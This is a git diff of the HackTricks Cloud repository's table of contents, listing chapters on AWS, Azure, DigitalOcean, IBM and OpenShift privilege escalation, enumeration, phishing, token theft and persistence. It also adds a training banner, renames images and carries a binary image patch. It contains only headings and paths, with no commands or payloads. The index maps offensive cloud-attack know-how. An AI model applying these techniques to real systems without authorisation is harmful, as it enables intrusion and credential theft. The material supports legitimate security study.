+    - [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
+    - [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
+    - [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
+    - [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
+    - [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
+    - [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
+    - [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
+    - [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
+    - [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
+    - [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
+    - [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
+    - [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
+    - [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
+    - [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
+    - [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
+    - [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
+    - [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
+    - [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
+    - [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
+    - [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
+    - [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
+    - [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
+    - [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
+    - [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
+    - [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
+    - [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
+    - [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
+    - [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
+    - [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
+    - [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
+    - [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
+  - [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
+    - [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
+      - [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
+      - [AWS - CloudWatch Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md)
+      - [AWS - Config Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md)
+      - [AWS - Control Tower Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md)
+      - [AWS - Cost Explorer Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md)
+      - [AWS - Detective Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md)
+      - [AWS - Firewall Manager Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md)
+      - [AWS - GuardDuty Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md)
+      - [AWS - Inspector Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md)
+      - [AWS - Macie Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md)
+      - [AWS - Security Hub Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md)
+      - [AWS - Shield Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md)
+      - [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
+      - [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
+    - [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
+    - [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
+    - [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
+    - [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
+    - [AWS - CloudFront Enum](pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md)
+    - [AWS - Codebuild Enum](pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md)
+    - [AWS - Cognito Enum](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md)
+      - [Cognito Identity Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md)
+      - [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
+    - [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
+    - [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
+    - [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
+    - [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
+    - [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
+      - [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
+      - [AWS - VPC & Networking Basic Information](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md)
+    - [AWS - ECR Enum](pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md)
+    - [AWS - ECS Enum](pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md)
+    - [AWS - EKS Enum](pentesting-cloud/aws-security/aws-services/aws-eks-enum.md)
+    - [AWS - Elastic Beanstalk Enum](pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md)
+    - [AWS - ElastiCache](pentesting-cloud/aws-security/aws-services/aws-elasticache.md)
+    - [AWS - EMR Enum](pentesting-cloud/aws-security/aws-services/aws-emr-enum.md)
+    - [AWS - EFS Enum](pentesting-cloud/aws-security/aws-services/aws-efs-enum.md)
+    - [AWS - EventBridge Scheduler Enum](pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md)
+    - [AWS - Kinesis Data Firehose Enum](pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md)
+    - [AWS - IAM, Identity Center & SSO Enum](pentesting-cloud/aws-security/aws-services/aws-iam-enum.md)
+    - [AWS - KMS Enum](pentesting-cloud/aws-security/aws-services/aws-kms-enum.md)
+    - [AWS - Lambda Enum](pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md)
+    - [AWS - Lightsail Enum](pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md)
+    - [AWS - MQ Enum](pentesting-cloud/aws-security/aws-services/aws-mq-enum.md)
+    - [AWS - MSK Enum](pentesting-cloud/aws-security/aws-services/aws-msk-enum.md)
+    - [AWS - Organizations Enum](pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md)
+    - [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
+    - [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
+    - [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
+    - [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
+    - [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
+    - [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
+    - [AWS - SQS Enum](pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md)
+    - [AWS - S3, Athena & Glacier Enum](pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md)
+    - [AWS - Step Functions Enum](pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md)
+    - [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
+    - [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
+  - [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
+    - [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
+    - [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
+    - [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
+    - [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
+    - [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
+    - [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
+    - [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
+    - [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
+    - [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
+    - [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
+    - [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
+    - [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
+    - [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
+    - [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
+    - [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
+    - [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
+    - [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
+    - [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
+    - [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
+    - [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
+    - [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
+    - [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
+    - [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
+    - [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
+    - [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
+- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
+  - [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
+    - [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
+  - [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
+  - [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
+    - [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
+    - [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md)
+    - [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+    - [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
+  - [Az - Services](pentesting-cloud/azure-security/az-services/README.md)
+    - [Az - Entra ID (AzureAD) & Azure IAM](pentesting-cloud/azure-security/az-services/az-azuread.md)
+    - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
+    - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
+    - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
+    - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
+      - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
+    - [Az - Azure App Service & Function Apps](pentesting-cloud/azure-security/az-services/az-app-service.md)
+    - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
+    - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
+    - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
+    - [Az - Key Vault](pentesting-cloud/azure-security/az-services/keyvault.md)
+    - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
+    - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
+    - [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md)
+    - [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md)
+    - [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md)
+    - [Az - Storage Accounts & Blobs](pentesting-cloud/azure-security/az-services/az-storage.md)
+    - [Az - Table Storage](pentesting-cloud/azure-security/az-services/az-table-storage.md)
+    - [Az - Virtual Machines & Network](pentesting-cloud/azure-security/az-services/vms/README.md)
+      - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
+  - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
+  - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
+    - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
+      - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
+      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
+      - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
+      - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
+      - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
+      - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
+      - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
+    - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
+    - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
+    - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
+    - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
+    - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
+    - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
+    - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
+  - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
+    - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
+    - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
+    - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
+    - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
+    - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
+    - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
+    - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
+    - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md)
+    - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
+  - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
+    - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
+    - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
+    - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
+      - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
+      - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
+    - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
+    - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
+    - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
+    - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
+    - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
+    - [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
+    - [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
+  - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
+    - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
+    - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
+    - [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
+  - [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)
+- [Digital Ocean Pentesting](pentesting-cloud/digital-ocean-pentesting/README.md)
+  - [DO - Basic Information](pentesting-cloud/digital-ocean-pentesting/do-basic-information.md)
+  - [DO - Permissions for a Pentest](pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md)
+  - [DO - Services](pentesting-cloud/digital-ocean-pentesting/do-services/README.md)
+    - [DO - Apps](pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md)
+    - [DO - Container Registry](pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md)
+    - [DO - Databases](pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md)
+    - [DO - Droplets](pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md)
+    - [DO - Functions](pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md)
+    - [DO - Images](pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md)
+    - [DO - Kubernetes (DOKS)](pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md)
+    - [DO - Networking](pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md)
+    - [DO - Projects](pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md)
+    - [DO - Spaces](pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md)
+    - [DO - Volumes](pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md)
+- [IBM Cloud Pentesting](pentesting-cloud/ibm-cloud-pentesting/README.md)
+  - [IBM - Hyper Protect Crypto Services](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md)
+  - [IBM - Hyper Protect Virtual Server](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md)
+  - [IBM - Basic Information](pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md)
+- [OpenShift Pentesting](pentesting-cloud/openshift-pentesting/README.md)
+  - [OpenShift - Basic information](pentesting-cloud/openshift-pentesting/openshift-basic-information.md)
+  - [Openshift - SCC](pentesting-cloud/openshift-pentesting/openshift-scc.md)
+  - [OpenShift - Jenkins](pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md)
+    - [OpenShift - Jenkins Build Pod Override](pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md)
+  - [OpenShift - Privilege Escalation](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md)
+    - [OpenShift - Missing Service Account](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md)
+    - [OpenShift - Tekton](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md)
+    - [OpenShift - SCC bypass](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md)
+
+# 🛫 Pentesting Network Services
+
+- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]()
+- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]()
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
new file mode 100644
index 000000000..b03deaf4a
--- /dev/null
+++ b/src/banners/hacktricks-training.md
@@ -0,0 +1,13 @@
+> [!TIP]
+> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
+> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
+>
+> <details>
+>
+> <summary>Support HackTricks</summary>
+>
+> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+>
+> </details>
diff --git a/.gitbook/assets/05-constraints.png b/src/images/05-constraints.png
similarity index 100%
rename from .gitbook/assets/05-constraints.png
rename to src/images/05-constraints.png
diff --git a/.gitbook/assets/2023-03-06 17_02_47-.png b/src/images/2023-03-06 17_02_47-.png
similarity index 100%
rename from .gitbook/assets/2023-03-06 17_02_47-.png
rename to src/images/2023-03-06 17_02_47-.png
diff --git a/.gitbook/assets/2023-03-06 17_11_28-Window.png b/src/images/2023-03-06 17_11_28-Window.png
similarity index 100%
rename from .gitbook/assets/2023-03-06 17_11_28-Window.png
rename to src/images/2023-03-06 17_11_28-Window.png
diff --git a/.gitbook/assets/2023-03-06 17_11_43-Window.png b/src/images/2023-03-06 17_11_43-Window.png
similarity index 100%
rename from .gitbook/assets/2023-03-06 17_11_43-Window.png
rename to src/images/2023-03-06 17_11_43-Window.png
diff --git a/.gitbook/assets/2023-03-06 17_28_26-Window.png b/src/images/2023-03-06 17_28_26-Window.png
similarity index 100%
rename from .gitbook/assets/2023-03-06 17_28_26-Window.png
rename to src/images/2023-03-06 17_28_26-Window.png
diff --git a/.gitbook/assets/2023-03-06 17_28_50-Window.png b/src/images/2023-03-06 17_28_50-Window.png
similarity index 100%
rename from .gitbook/assets/2023-03-06 17_28_50-Window.png
rename to src/images/2023-03-06 17_28_50-Window.png
diff --git a/.gitbook/assets/CLOUD-logo-letters.svg b/src/images/CLOUD-logo-letters.svg
similarity index 100%
rename from .gitbook/assets/CLOUD-logo-letters.svg
rename to src/images/CLOUD-logo-letters.svg
diff --git a/src/images/CLOUD-web-logo.png b/src/images/CLOUD-web-logo.png
new file mode 100644
index 0000000000000000000000000000000000000000..1671d0bf87a70624ef869e65b3c7c0ef3a15905f
GIT binary patch
literal 14122
zcmeHt`CrXh{QpT2NgAR|*HmI!7-|gN2xTiFZMI3eCPZmZo0hA_GEv!UMyaIDQVbF;
zZeuD-L`7-6N<}G=+rE6B=Y8MJ_b>Q99-kjRJsuv;`@GJ1?b|u${$XxrJW1wz8A8aU
zbtbDV36bK`f8)nt=9Bz^Nc=a$Yt1$<E7!eVKD#{j5To6$zwJ?7=e)~dkL8|SyZzjs
z>@gr@aq+s<M%KPnpK5E}IW70o-(A`~mvF~SQrFpXkbG~<>liO<OqPuK^}B5+4b7#J
z)#Y<aQe=${KaKzWJUO(<Y5c_BI~T5~EgK3fIk?$<-g^0V|H(U&ih8{CCV_$f`}^Od
z0rQJTrV>)HFWYr-+%xIm<mxY<KgkU`6%C49;z#D!o?emtEUsF#B2oFH!_I+2-9yWI
zhK3%f2Yp@@-2JlNp*U`7_vg1gJ<FOM@`n3Fm!0^&BkfW|FhM%3>v_xDsNkLf>EN1?
zw!YBdefk4mE9?f2U9=tX?|E91)9qP1H@IZ|iigiimW#SdhHCOwROf!JAGjM=-{g>e
zI@mj|zN_o>!=jdD!SyA^gLw;vidzl`c}K+!3>H5eF%Xsn)xGQS?dYi%eI6^zAtW?H
zv1i2J&ZcJMeo=SYG(vXn782rpZ>H{r=iWDaoAXuT^yP@o97$=?Y2$qFK<1-0BiBZ*
